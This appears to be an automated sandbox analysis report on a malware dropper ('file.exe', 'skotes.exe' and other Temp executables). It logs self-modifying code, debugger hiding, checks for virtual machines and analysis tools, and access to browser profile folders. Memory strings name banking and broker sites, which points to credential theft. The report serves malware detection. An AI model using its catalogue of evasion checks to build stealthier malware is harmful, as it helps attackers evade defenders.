Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Special instruction interceptor: First address: 6D1B3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Special instruction interceptor: First address: 91CEDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 62EB96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7CC6C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Special instruction interceptor: First address: 41DC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Special instruction interceptor: First address: 5C8EA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Special instruction interceptor: First address: 650478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 858C0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Special instruction interceptor: First address: 420DAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Special instruction interceptor: First address: 61E032 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Special instruction interceptor: First address: 61C744 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Special instruction interceptor: First address: 471372 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Special instruction interceptor: First address: 626CD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Special instruction interceptor: First address: 6AE90C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Special instruction interceptor: First address: 2B1A4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Special instruction interceptor: First address: 2B1B3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Special instruction interceptor: First address: 4FCEDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Special instruction interceptor: First address: FEEB96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Special instruction interceptor: First address: 118C6C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Special instruction interceptor: First address: 1218C0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Special instruction interceptor: First address: 4F1A4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Special instruction interceptor: First address: 4F1B3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Special instruction interceptor: First address: 73CEDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Special instruction interceptor: First address: B0DC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Special instruction interceptor: First address: CB8EA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Special instruction interceptor: First address: D40478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Special instruction interceptor: First address: B10DAB instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Memory allocated: 4BF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Memory allocated: 4D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Memory allocated: 6D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Memory allocated: 5070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Memory allocated: 54E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Memory allocated: 5330000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

Code function: 3_2_04D50B3F rdtsc

3_2_04D50B3F

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1064	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1398	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1017	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1425	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Window / User API: threadDelayed 987

Source: C:\Users\user\Desktop\file.exe TID: 7600	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe TID: 7152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7184	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7184	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8176	Thread sleep count: 1297 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8176	Thread sleep time: -2595297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8188	Thread sleep count: 1064 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8188	Thread sleep time: -2129064s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8148	Thread sleep count: 289 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8148	Thread sleep time: -8670000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7460	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352	Thread sleep count: 1398 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352	Thread sleep time: -2797398s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep count: 1017 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep time: -2035017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1476	Thread sleep count: 1425 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1476	Thread sleep time: -2851425s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe TID: 7136	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe TID: 6204	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe TID: 5940	Thread sleep count: 126 > 30
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe TID: 5940	Thread sleep count: 132 > 30
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe TID: 7180	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe TID: 6004	Thread sleep count: 987 > 30
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe TID: 6004	Thread sleep count: 101 > 30
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe TID: 7856	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe TID: 7416	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: skotes.exe, skotes.exe, 00000009.00000002.1770858812.00000000007AA000.00000040.00000001.01000000.0000000B.sdmp, 8138ba21a1.exe, 0000000A.00000002.1813198385.0000000000601000.00000040.00000001.01000000.0000000F.sdmp, bd214fbd32.exe, 0000000E.00000002.1926320177.0000000000445000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.0000000001167000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware>
Source: firefox.exe, 0000001D.00000002.2123319128.000001C958B44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWuYe
Source: file.exe, 00000000.00000003.1417736971.000000000118E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417736971.000000000119B000.00000004.00000020.00020000.00000000.sdmp, J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815101814.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815101814.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1814788678.0000000000A1E000.00000004.00000020.00020000.00000000.sdmp, bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001D.00000002.2126645860.000001C962BB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000111E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarel
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXx
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: firefox.exe, 0000001D.00000002.2123319128.000001C958B00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: firefox.exe, 0000001D.00000002.2123319128.000001C958B39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6634-1003_Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32)).
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: G4X9C8XP66LPZY0PX2HHB5N.exe, 00000003.00000002.1635804664.000000000077A000.00000040.00000001.01000000.00000006.sdmp, J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1688949555.0000000000865000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.1688839922.00000000007AA000.00000040.00000001.01000000.0000000B.sdmp, 3BW8PCDTI0L77ZRRJ1.exe, 00000006.00000002.1779960221.0000000000597000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.1770858812.00000000007AA000.00000040.00000001.01000000.0000000B.sdmp, 8138ba21a1.exe, 0000000A.00000002.1813198385.0000000000601000.00000040.00000001.01000000.0000000F.sdmp, bd214fbd32.exe, 0000000E.00000002.1926320177.0000000000445000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 8138ba21a1.exe, 00000012.00000003.2024644856.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: firefox.exe, 0000001D.00000002.2123319128.000001C958BDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:A

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	System information queried: CodeIntegrityInformation
Source: C:\Windows\SysWOW64\taskkill.exe	System information queried: CodeIntegrityInformation
Source: C:\Windows\SysWOW64\taskkill.exe	System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
